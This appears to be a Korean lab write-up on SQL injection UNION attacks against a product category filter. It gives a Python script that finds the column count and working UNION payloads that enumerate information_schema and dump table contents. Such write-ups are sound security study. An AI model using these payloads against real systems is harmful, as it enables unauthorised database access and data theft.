우선 문제를 정리해 보자.
이 워게임에는 상품 카테고리 필터에 SQL 인젝션 취약점이 존재한다. 쿼리 결과가 애플리케이션의 응답에 포함되어 반환되므로, UNION 공격을 활용하여 다른 테이블의 데이터를 조회할 수 있다.
해당 공격을 구성하기 위해서는 먼저 쿼리가 반환하는 컬럼의 수를 파악해야 한다. 컬럼 수는 이전 워게임에서 학습한 기법을 통해 확인할 수 있다. 이후 문자열 데이터를 저장하거나 출력할 수 있는 컬럼을 식별해야 한다.
워게임에서는 임의의 값이 제공되며, 해당 값이 쿼리 결과에 나타나도록 구성해야 한다. 이를 위해 제공된 값을 포함하는 추가 행이 반환되도록 SQL 인젝션 UNION 공격을 수행해야 한다.
이 기법은 반환되는 컬럼 중 문자열 데이터와 호환되는 컬럼을 식별하는 데 활용된다.
아마도 3개의 컬럼이 있겠지만, 그래도 만든 코드가 있으니 사용해 보자.
import requests PHPSESSID = "<coookie>" BASE_URL = "https://<foo>.web-security-academy.net/filter" def make_sender(url, cookie): def send(payload): r = requests.get(url, cookies=cookie, params={"category":payload}) print(f"[URL] {r.url}") # print(r.text) # print(f"[STATUS] {r.status_code}") return r.text return send send = make_sender( url=BASE_URL, cookie={"PHPSESSID":PHPSESSID} ) is_true = lambda x: not ("Internal Server Error" in x) base_payload = "' UNION SELECT NULL" # 1개인 경우는 수동으로 확인 함 flag = 0 while(True): base_payload +=", NULL" res = send(base_payload + " -- ") if(is_true(res)): print(base_payload + " -- ") break flag += 1 if(flag == 100): print("something wrong") break

이제
SELECT * FROM information_schema.tables를 통해 테이블 정보를 조회해 보자.' UNION SELECT NULL, table_name, NULL FROM information_schema.tables --
/filter?category='%20UNION%20SELECT%20NULL%2c%20table_name%2c%20NULL%20FROM%20information_schema.tables%20--%20
정황상 첫 번째 칼럼은
int형 id를 조회하는 것 같기 때문에 ' UNION SELECT table_name, NULL, NULL FROM information_schema.tables --는 오류가 발생한다. 이 문제에서는 편의상 아래 쿼리를 사용했다.' UNION SELECT NULL, table_name, NULL FROM information_schema.tables WHERE table_schema NOT IN ('information_schema', 'pg_catalog') --
/filter?category='%20UNION%20SELECT%20NULL%2c%20table_name%2c%20NULL%20FROM%20information_schema.tables%20WHERE%20table_schema%20NOT%20IN%20('information_schema'%2c%20'pg_catalog')%20--%20

그렇다면 products 테이블을 털어 보자.
' UNION SELECT NULL, column_name, NULL FROM information_schema.columns WHERE table_name = 'products' --
/filter?category='%20UNION%20SELECT%20NULL%2c%20column_name%2c%20NULL%20FROM%20information_schema.columns%20WHERE%20table_name%20%3d%20'products'%20--

어디에 숨겨진 문자열이 있을지 모르니 그냥
CONCAT(a, ' ', b)로 다 출력해 버리자.' UNION SELECT NULL, CONCAT_WS(' ', name, description, image, id, rating, category, price, released), NULL FROM products --

하지만 풀리지 않았다. 알고 보니 제공된 문자열이 숨겨져 있는 게 아니라 결과에서 출력되게 해야 하는 것이었다.

' UNION SELECT NULL, '25WAFs', NULL FROM products --
/filter?category='%20UNION%20SELECT%20NULL%2c%20'25WAFs'%2c%20NULL%20FROM%20products%20--%20

앞으로는 문제를 잘 읽어 보자.


